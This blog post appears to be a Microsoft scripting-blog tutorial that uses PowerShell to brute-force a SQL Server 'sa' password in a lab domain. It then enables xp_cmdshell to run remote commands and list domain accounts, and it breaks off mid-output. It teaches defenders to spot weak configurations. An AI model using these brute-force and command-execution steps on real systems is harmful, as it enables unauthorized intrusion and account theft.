Use PowerShell to Security Test SQL Server and SharePoint

Doctor Scripto

Summary: Guest blogger, Niklas Goude, talks about using Windows PowerShell to perform brute force security testing on SQL Server and SharePoint. Microsoft Scripting Guy, Ed Wilson, is here. Today we have Niklas Goude back with Part 2 of his Security Week series.

Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at PowerShell.nu. He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the TruSec website for additional information.

Note    Today’s blog discusses using Windows PowerShell to perform brute force penetration testing. Windows PowerShell does not, by itself, provide anything uniquely specific to this task. Scripts could be written in any number of languages with varying degrees of difficulty. Remember that Windows PowerShell does not permit a user to do anything that the user does not have rights to do. The entire point of today’s blog is that if the systems are configured properly, the attacks will fail. Keep in mind that an easy denial-of-service attack can occur if you set restrictive account policies. To aid you in navigating various policies, review Account Policies in the Windows Server Technical Library. This is the second blog in a series of five, and we’ll talk about basic penetration testing techniques and how they affect misconfigured systems. The series covers everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies. The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task—no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords or system dependencies. I hope you will learn and enjoy!

Part 2: Brute force

Penetration testing is an important part of improving security in any network environment. A hacker only needs to find a few weaknesses (even one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them.  Penetrating systems is usually achieved by a brute force attack or by exploiting a weakness or misconfiguration in a service. The goal is to acquire permissions to a system. An attacker that does not succeed in a brute force attack could also perform a DOS attack to damage the system. In this scenario, we will focus on how to brute force SQL Server and web servers by using Windows PowerShell.

Scenario

This scenario is based on a Windows domain environment consisting of three machines:

  • DC01: domain controller
  • SRV01: SQL Server and IIS
  • SP01: SharePoint 2010, SQL Server, and IIS

In addition, we have a client on the same network as the domain; however, the client is not a member of the domain. Each command in this scenario is executed from the client.

Configuration

The server running SQL Server, SRV01, is running a non-Microsoft application that is dependent on SQL Server authentication. During the installation, the SQL Server database engine was set to SQL Server and Windows authentication mode. The sa account is enabled and in use by the non-Microsoft application. For configuration recommendations, see Security Considerations for a SQL Server Installation on MSDN. The server running SharePoint 2010, SP01, is installed by using the default settings (Next, Next, Next). The authentication method that is implemented is NTLM. For more information, see:

Code

Let us start with a classic: SQL Servers using SQL Server authentication (mixed mode). We recommend to always use Windows authentication with SQL Server when possible. But in some cases, such as when using non-Microsoft applications that depend on SQL Server authentication, mixed mode is a necessity. For an attacker, this is particularly interesting because enabling mixed mode also creates the sa account, the built-in SQL server administrator account, during setup. If mixed mode is enabled after SQL Server has been installed, you must actively enable the sa account. Because the sa account is a well-known account, it’s a typical target for an attacker. SQL Server 2008, SQL Server 2008 R2, and SQL Server 2012 apply the domain password policy by default on any SQL account and enforce complex passwords. However, some servers running older versions of SQL Server do not. Testing the password of the sa account by using Windows PowerShell is a simple task. The passwords we want to test are “sa” and blank. Other easily guessed passwords are: Password, Admin, Administrator, and sysadmin. To connect to a computer running SQL Server by using Windows PowerShell, we create an instance of System.Data.SQLClient.SQLConnection:

PS > $Connection = New-Object System.Data.SQLClient.SQLConnection Next, we set up a connection string by using standard security. The password used in the following example is blank.

PS > $server = “10.0.0.3”

PS > $user = “sa”

PS > $password = “”

PS > $Connection.ConnectionString =

“Server=$server;Initial Catalog=Master;User Id=$user;Password=$password;” For a good reference, see The Connection String Reference. To test the connection, we can simply call the Open() method.

PS > $Connection.Open()

Exception calling “Open” with “0” argument(s): “Login failed for user ‘sa’.”

At line:1 char:1

+ $Connection.Open()

+ ~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException

    + FullyQualifiedErrorId : SqlException The command returns an error that states the logon failed for user ‘sa’. Now, let’s try setting the password to ‘sa’ instead.

PS > $Connection = New-Object System.Data.SQLClient.SQLConnection

$server = “10.0.0.3”

$user = “sa”

$password = “sa”

$Connection.ConnectionString =

“Server=$server;Initial Catalog=Master;User Id=$user;Password=$password;”

$Connection.Open() This time the method did not return an error message, which means that we successfully guessed the sa account’s password. We can add this piece of code to a function and automate these steps even further. The following example demonstrates how to read passwords from a password list, and then pass them to a function, Invoke-TSMedusa. Here’s the content of the password list:

PS > Import-Csv .sqlPwd.csv

 

Password                                                                        

——–                                                                         

Admin                                                                           

Password                                                                        

                                                                                

sa                                                                               

Administrator                                                                   

sysadmin   

And here’s what happens if we run the function.

PS > Import-Csv .sqlPwd.csv |

Invoke-TSMedusa -Identity 10.0.0.3 -UserName sa -Service SQL |

Select UserName, Password, Success

 

UserName                    Password                                      Success

——–                    ——–                                      ——-

sa                          Admin                                           False

sa                          Password                                        False

sa                                                                          False

sa                          sa                                               True

sa                          Administrator                                   False

sa                          sysadmin                                        False

Note   If a password policy is used, which is recommended, the account might have been locked out, depending on the number of bad logon attempts permitted by the password policy. So is it really that dangerous if we know the sa account password? Well, the sa account is the built-in SQL server administrator account, and it can execute stored procedures. One stored procedure of interest for an attacker is xp_cmdshell, which spawns a command shell and passes in a string for execution. Before we go ahead and execute commands by using xp_cmdshell, we need a way of passing commands to a server running SQL Server. We can achieve this by creating an instance to System.Data.SQLClient.SQLCommand, and then passing the open connection stored in $connection to the Connection property as demonstrated here:

PS > $command = New-Object System.Data.SQLClient.SQLCommand

PS > $command.Connection = $Connection Now, let’s grab the syslogin accounts by using a simple SQL command. First we add a SQL command to the CommandText property, and then we call the ExecuteReader() method to execute the SQL command.

Note   It is interesting that the previous example is a potential security risk itself. Always use parameterized SQL. Never concatenate strings (especially user inputted strings), or you might find yourself hacked through an SQL injection.

PS > $command.CommandText = “SELECT name FROM master.SYS.syslogins”

$reader = $command.ExecuteReader() The reader variable now contains the result from the SQL command. We can use a while loop to display the results as shown here:

PS > while ($reader.Read()) {

  New-Object PSObject -Property @{

    Name = $reader.GetValue(0)

  }

}

 

Name                                                                            

—-                                                                             

sa                                                                              

##MS_SQLResourceSigningCertificate##                                            

##MS_SQLReplicationSigningCertificate##                                          

##MS_SQLAuthenticatorCertificate##                                              

##MS_PolicySigningCertificate##                                                 

##MS_SmoExtendedSigningCertificate##                                             

##MS_PolicyEventProcessingLogin##                                               

##MS_PolicyTsqlExecutionLogin##                                                 

##MS_AgentSigningCertificate##                                                  

NT AUTHORITYSYSTEM                                                             

NT SERVICEMSSQLSERVER                                                          

HACMEadministrator                                                             

HACMEsql-admin                                                                 

NT SERVICESQLSERVERAGENT                                                       

hacme                                                                           

foo              Notice how the command displays both SQL accounts and domain accounts. All this is possible because of a misconfigured sa account. Back to business… Let’s execute some Windows PowerShell  using SQL and the sa account. In this example, we will use the Get-TSSQL function, which basically uses the code described earler. The xp_cmdshell stored procedure is disabled by default, but because we now own the sa account, we can enable it as shown here:

PS > $connectionString = “server=10.0.0.3;database=master;User Id=sa;Password=sa;”

PS > $query = “EXEC sp_configure ‘show advanced options’,1; RECONFIGURE;”

PS > Get-TSSQL -Query $query -ConnectionString $connectionString

PS > $query = “EXEC sp_configure ‘xp_cmdshell’,1; RECONFIGURE”

PS > Get-TSSQL -Query $query -ConnectionString $connectionString Now we can execute Windows PowerShell remotely through the server running SQL Server. Here is an example that starts Windows PowerShell and runs the internal command whoami.

PS > $cmd = ‘powershell.exe -Command “& { whoami }”‘

PS > $query = “EXEC xp_cmdshell ‘$cmd'”

 

PS > Get-TSSQL -Query $query -ConnectionString $connectionString

 

output                                                                          

——                                                                           

hacmesql-serviceaccount      Notice how whoami displays hacmesql-serviceaccount. In other words, we can now execute commands as a domain account (the account that is configured to start the SQL Server service). It is also possible to grab all of the local and domain accounts available in the domain by using a wmi class. This is shown in the command that follows.

PS > $cmd = ‘powershell.exe -Command “& { gwmi Win32_UserAccount | select Caption }”‘

$query = “EXEC xp_cmdshell ‘$cmd'”

 

Get-TSSQL -Query $query -ConnectionString $connectionString

  

output                                                                          

——                                                                          

                                                                                 

Caption                                                                         

——-                                                                         

SRV01Administrator                                                              

SRV01Guest                &nb

0 comments

Discussion is closed.

Feedback usabilla icon